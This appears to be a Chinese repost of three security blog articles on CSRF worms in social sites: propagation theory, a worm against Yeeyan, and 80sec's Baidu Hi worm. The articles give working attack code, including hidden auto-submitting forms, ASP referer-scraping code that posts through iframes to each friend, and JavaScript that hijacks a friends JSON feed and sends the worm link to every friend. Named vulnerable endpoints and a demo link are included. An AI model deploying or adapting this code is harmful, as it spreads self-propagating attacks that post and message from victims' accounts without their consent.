CSRF蠕虫相关三篇文章

来源:互联网 发布:mac版qq截图在哪里找 编辑:程序博客网 时间:2024/04/29 12:45

1.CSRF蠕虫存在的可能性分析

http://hi.baidu.com/ycosxhack/blog/item/36569f51806499888d54300a.html

CSRF蠕虫顾名思义就是利用CSRF技术进行传播的Web蠕虫,前段时间我的这篇文章《译言CSRF蠕虫分析》说明了CSRF蠕虫存在的事实,译言网站(以下称这样的宿主为victim_site)的这个CSRF蠕虫是由用户驱动的,蠕虫的代码都存放于另外一个网站上(比如worm_site),在victim_site上需要用户驱动的就一个链接http://worm_site/,该链接指向CSRF蠕虫本身。

CSRF蠕虫如何就是一个蠕虫?我们写的代码其实没有表现出一个蠕虫本身要具有的所有性质。在这,最关键要解决的就是CSRF蠕虫的传播性,基于用户驱动的传播性(主动或者被动)。当它可以传播了,我们就可以考虑为它增加其它的功能,比如利用CSRF技术删除、编辑某些内容、增加新的内容、添加好友等等。

一、CSRF蠕虫的传播

比如我们要在一个SNS网站中传播CSRF蠕虫的链接:http://worm_site/,当用户点击这个链接时就会触发CSRF蠕虫,初始时我们的蠕虫链接http://worm_site/被提交在http://victim_site/user=37这个用户的留言板上,当某登录的用户A点击这个蠕虫链接时,worm_site会判断点击的来源地址,根据来源的地址本身或者来源地址对应的页面内容中的用户唯一标志来区分出该留言板属于的用户的所有好友信息。接着筛选出所有好友的有价值的信息,比如这里就是http://victim_site/user=[user_id]这个链接中的[user_id]信息。根据批量获取的这个唯一的[user_id],CSRF蠕虫就可以借用用户A的权限循环发起POST型的CSRF攻击,此时蠕虫提交的表单类似如下代码:

<form action="http://victim_site/post_info.do" method="post">
<input type="text" name="title" value="hi" style="display:none!important;display:block;width=0;height=0" />
<input type="text" name="info" value="有趣的网站:http://worm_site/。" style="display:none!important;display:block;width=0;height=0" />
<input type="text" name="user_id" value="[user_id]" style="display:none!important;display:block;width=0;height=0" />
</form>

该表单中的[user_id]是这个SNS网站进行用户身份标志的值,假如我们的CSRF蠕虫不能获取这个值就无法正常传播。从这个例子中,我们可以看出蠕虫要传播就必须能够获取那些唯一值,然后利用获取到的唯一值进行传播。在一个SNS网站中,什么值是唯一的?比如用户id、用户昵称、用户email、用户session、用户个人页面地址。那么什么是CSRF蠕虫可以得到的?用户session仅通过CSRF显然得不到,其它的都可以得到。获取这些唯一值的意义是什么?CSRF蠕虫必须知道自己正在处理的是谁的信息,比如[user_id]为37的好友列表页面地址:http://victim_site/friends/user=37,这是唯一的,只有知道这样的唯一值,才能知道该唯一值对应的其它唯一信息。上面的表单代码我们在worm_site打包为一个函数:

function post_info(user_id){
    var id = user_id;
    create_form with the id;
}

该函数通过唯一的[user_id]动态生成并提交POST型的CSRF攻击表单。被攻击的目标就是[user_id]对应的用户页面,CSRF蠕虫就是通过这样的方式传播开。

二、跨域获取数据的几种方式

上面提到的CSRF蠕虫传播必须面对的问题是如何获取各种必要的唯一值。这里有三种方式:服务端代理技术、Flash AS跨域请求技术、JSON HiJacking技术。

1、服务端代理技术:

译言CSRF蠕虫使用的就是这样的技术,利用服务端脚本获取到的referer值来判断来源地址,由于该referer值也许包含SNS网站中用户的唯一标志,比如译言的个人空间链接地址http://www.yeeyan.com/space/show/19076,19076就是该用户的唯一标志。蠕虫在服务端就可以根据这个唯一标志区分自己将要处理的数据,比如获取19076用户的好友信息,就可以操作这个地址http://www.yeeyan.com/space/friends/19076。

使用服务端代理技术优点是显而易见的,比如蠕虫代码、逻辑可以被很好的隐藏。缺点是在服务端发起的GET或POST请求无法跨域带上被攻击站点的本地Cookie或内存Cookie。这样CSRF蠕虫就只能通过referer里的唯一值来进行下一步攻击,而不能通过获取referer地址对应的页面内容里的由Cookie决定的唯一值,比如这样的地址http://www.yeeyan.com/space/showme,对每个登录的译言用户而言,链接地址一样,但是页面内容不一样,里面不一样的内容由用户的身份标志决定。使用服务端代理技术无法通过CSRF技术获取http://www.yeeyan.com/space/showme链接页面里不一样的用户唯一标志。

2、Flash AS跨域请求技术:

目标服务器下必须存在crossdomain.xml文件,且crossdomain.xml中的配置允许其他域的AS脚本进行跨域请求,如下:

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

那么worm_site就可以使用AS脚本来发起跨域的GET请求,这是客户端发起的CSRF攻击,在请求时会带上本地Cookie或者内存Cookie,所以可以很方便地获取我们想要的页面内的唯一值。结合AS与服务端的通信技术、AS与JS的通信技术,CSRF蠕虫将更加的强大。关于详细的利用AS进行CSRF攻击的文章可以看这《CSRF with Flash》

3、JSON HiJacking技术:

我在这《JSON Hijacking的利用以及Web API安全》提到了如何利用JSON HiJacking获取用户隐私的方法,JSON HiJacking其实就是一个CSRF过程。由于<script>标签的跨域性,通过JSON HiJacking就有可能跨域获取目标服务器返回的JSON数据。而这些数据中就非常可能包含我们需要的唯一值。比如这个链接http://api.fanfou.com/private_messages/inbox.json?callback=hijack&count=2,链接的内容如下:

hijack([{"id":1113357,"text":"第二条私信~","sender_id":"evilcos","recipient_id":"ycosxhack","created_at":"Sun Nov 09 10:24:44 +0000 2008","sender_screen_name":"evilcos","recipient_screen_name":"余弦"},{"id":1113354,"text":"第一条私信~","sender_id":"evilcos","recipient_id":"ycosxhack","created_at":"Sun Nov 09 10:24:25 +0000 2008","sender_screen_name":"evilcos","recipient_screen_name":"余弦"}])

这段JSON内容中包含了我们需要的唯一值:ycosxhack、evilcos等。80sec的百度空间CSRF蠕虫使用了这个技术。

三、结论

除了上面介绍的三种跨域获取数据的方法,还有其他方法。在不同的Web2.0环境下,CSRF蠕虫细节不一样,不过各类原理是一样的。通过对CSRF蠕虫传播原理的分析,我个人觉得许多广泛存在CSRF漏洞的Web2.0网站都面临着CSRF蠕虫的威胁,虽然在真实环境下编写CSRF蠕虫,现实往往是残酷的,不会那么顺利:(。Web2.0蠕虫由用户驱动,被动的、主动的,加上些社工技巧,这将很难防御。这篇文章分析的CSRF蠕虫是指站外CSRF蠕虫,如果在站内,同域环境下且利用XSS技术,CSRF蠕虫就不再是单纯的CSRF了。

 

 

 

 2.译言CSRF蠕虫分析

http://hi.baidu.com/ycosxhack/blog/item/813cc60316c119713812bb64.html

放出的代码都在这里,代码是我花了一天的时间构思写出来的,具有攻击性的代码已经去掉。目前译言上的CSRF蠕虫已经被抹掉。这样的攻击代码可以做得非常的隐蔽,顺便加上了referer判断。而蠕虫代码就是靠得到的这个referer值进行后续操作的:)。由于在AJAX无 法跨域获取操作第三方服务器上的资源,于是使用了服务端代理来完全跨域获取数据的操作(Microsoft.XMLHTTP控件的使用)。看下面这段代码的注释:

r = Request.ServerVariables("HTTP_REFERER") '获取用户的来源地址,如:http://www.yeeyan.com/space/show/hving

If instr(r,"http://www.yeeyan.com/space/show") > 0 Then 'referer判断,因为攻击对象为yeeyan个人空间留言板,就是这样的地址

......

id = Mid(r,34) '获取用户标识ID,如:hving
furl = "http://www.yeeyan.com/space/friends/" + id '用户的好友列表链接是这样的
Set http=Server.CreateObject("Microsoft.XMLHTTP") '使用这个控件
http.Open "GET",furl,False '同步,GET请求furl链接
http.Send '发送请求
ftext = http.ResponseText '返回请求的结果,为furl链接对应的HTML内容
fstr = regx("show/(/d+)?"">[^1-9a-zA-Z]+<img",ftext) '正则获取被攻击用户的所有好友ID值,CSRF留言时需要这个值
farray = Split(fstr , " | ") '下面几句就是对获取到的好友ID值进行简单处理,然后扔进f(999)这个数组中去
Dim f(999)
For i = 0 To ubound(farray) - 1
f(i) = Mid(farray(i),6,Len(farray(i))-16)
Next
Set http=Nothing

s = ""
For i = 0 To ubound(farray) - 1
s = s + "<iframe width=0 height=0 src='yeeyan_iframe.asp?id=" & f(i) & "'></iframe>" '接着循环遍历好友列表,使用iframe发起CSRF攻击
Next
Response.write(s)
......
End If
%>

发起CSRF攻击的yeeyan_iframe.asp的代码如下,现在兼容FF浏览器了:),表单提交兼容问题,在这说过。

id = Request("id")
s = "<form method='post' action='http://www.yeeyan.com/groups/newTopic/'>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='The delicious Tools for yeeyan translation: http://www.chyouth.gov.cn/yy.asp' name='data[Post][content]'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value=" + id + " name='ymsgee'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value=" + id + " name='ymsgee_username'/>"
s = s+"</form>"
s = s+"<script>document.forms[0].submit();</script>"
Response.write(s)

这就是今天这个译言CSRF蠕虫(或蠕虫雏形)的实现过程了。根据这个原理,很多具有CSRF漏洞的网站都将受到这类的威胁。我也不想来个总结什么的。本来上个周末是准备拿饭否开刀的,不过貌似修补了这篇文章《JSON Hijacking的利用以及Web API安全》提过的漏洞(没修补全)。80sec今天放出的百度空间CSRF蠕虫也很经典。

CSRF蠕虫就是个实实在在的东西。最后,yeeyan上某人对我说了这句话:真是奇怪,你做测试干嘛要影响别人呢,做一个人见人爱的好学生吧~

 

 

3.百度Hi Csrf蠕虫攻击

http://www.80sec.com/baidu-hi-scrf-worm-attac.html

漏洞起因:百度是国内最大的中文搜索引擎。同时百度也提供了百度空间、百度贴吧等BLOG社区服务,拥有海量的用户群,号称全球最大中文社区。80sec发现过百度产品一系列的安全漏洞,其中一些问题得到了有效的修补,但是百度的产品仍然存在很多严重的安全漏洞,利用这些漏洞黑客可以制作Web蠕虫,影响百度所有的用户。

CSRF worm技术分析:

一. 百度用户中心短消息功能存在CSRF漏洞

百度用户中心短消息功能和百度空间、百度贴吧等产品相互关联,用户可以给指定百度ID用户发送短消息,在百度空间用互为好友的情况下,发送短消息将没有任何限制,同时由于百度程序员在实现短消息功能时使用了$_REQUEST类变量传参,给黑客利用CSRF漏洞进行攻击提供了很大的方便。百度用户中心短消息功能的请求参数能够被完全预测,只需要指定sn参数为发送消息的用户,co参数为消息内容,就可以成功发送短消息,如下:

http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=用户账号&co=消息内容

该漏洞在07年被应用于80SEC测试的百度XSS WORM中,至今尚未修补。

二. 百度空间好友json数据泄露问题

百度空间的好友功能数据是使用json格式实现的,此接口没有做任何的安全限制,只需将un参数设定为任意用户账号,就可以获得指定用户的百度好友数据,如下

http://frd.baidu.com/?ct=28&un=用户账号&cm=FriList&tn=bmABCFriList&callback=gotfriends

该漏洞可以直接被Javascript劫持技术利用,获取用户的好友信息.

三. 百度认证问题

web攻击不可避免地依赖于系统的认证,而在百度的认证系统里,所有认证基于SESSION,这样在IE里就不会被IE的隐私策略阻止,会话认证信息每次都会被发送出去,为我们蠕虫的传播提供了必要的条件。

四. CSRF + JavaScript_Hijacking + Session Auth= CSRF worm

CSRF攻击结合Javascript劫持技术完全可以实现CSRF worm,百度产品的这两个安全问题为实现Web蠕虫提供了所有的条件,80Sec团队已经编写出一只完整的百度csrf蠕虫,这是一只完全由客户端脚本实现的CSRF蠕虫,这只蠕虫实际上只有一条链接,受害者点击这条链接后,将会自动把这条链接通过短消息功能传给受害者所有的好友,因为百度用户基数很大,所以蠕虫的传播速度将会呈几何级成长,下面对csrf蠕虫部分代码进行分析:

1. 模拟服务端取得request的参数

var lsURL=window.location.href;
loU = lsURL.split(”?”);
if (loU.length>1)
{
var loallPm = loU[1].split(”&”);

省略…………….

定义蠕虫页面服务器地址,取得?和&符号后的字符串,从URL中提取得感染蠕虫的用户名和感染蠕虫者的好友用户名。

2. 好友json数据的动态获取

var gotfriends = function (x)
{
for(i=0;i<x[2].length;i++)
{
friends.push(x[2][i][1]);
}
}
loadjson(’<script src=”http://frd.baidu.com/?ct=28&un=’+lusername+’&cm=FriList&tn=bmABCFriList&callback=gotfriends&.tmp=&1=2″><//script>’);

通过CSRF漏洞从远程加载受害者的好友json数据,根据该接口的json数据格式,提取好友数据为蠕虫的传播流程做准备。

3. 感染信息输出和消息发送的核心部分

evilurl=url+”/wish.php?from=”+lusername+”&to=”;
sendmsg=”http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=[user]&co=[evilmsg]”
for(i=0;i<friends.length;i++){
省略…………….
mysendmsg=mysendmsg+”&”+i;
eval(’x'+i+’=new Image();x’+i+’.src=unescape(”‘+mysendmsg+’”);’);
省略…………….

整个蠕虫最核心的部分,按照蠕虫感染的逻辑,将感染者用户名和需要传播的好友用户名放到蠕虫链接内,最后输出短消息内容,使用一个FOR循环结构历遍所有好友数据,通过图片文件请求向所有的好友发送感染链接信息。

4. 注意细节

由于需要动态加载json数据运行,所以必须注意各个函数执行的先后顺序,否则json数据还未加载完毕,蠕虫核心部分的流程将跑不起来。

5. CSRF Worm DEMO页

这里我们提供了一个百度CSRF Worm DEMO页仅供大家进行安全测试,非安全测试的其他行为,80SEC将不负任何责任。测试方法:

将to参数设置为自己的用户名,登陆百度后点击链接或直接进入页面

http://www.80sec.com/wish.php?to=自己的百度用户名

五 CSRF worm安全提醒:

除开百度,国内的社区类、Web2.0类网站如校内网、Myspace、饭否等都存在这类安全问题,黑客可以直接通过CSRF攻击配合各种功能应用针对网站进行CSRF worm攻击,网站可以参考http://www.80sec.com/csrf-securit.html文档中的安全提醒做进一步的防范。

原创粉丝点击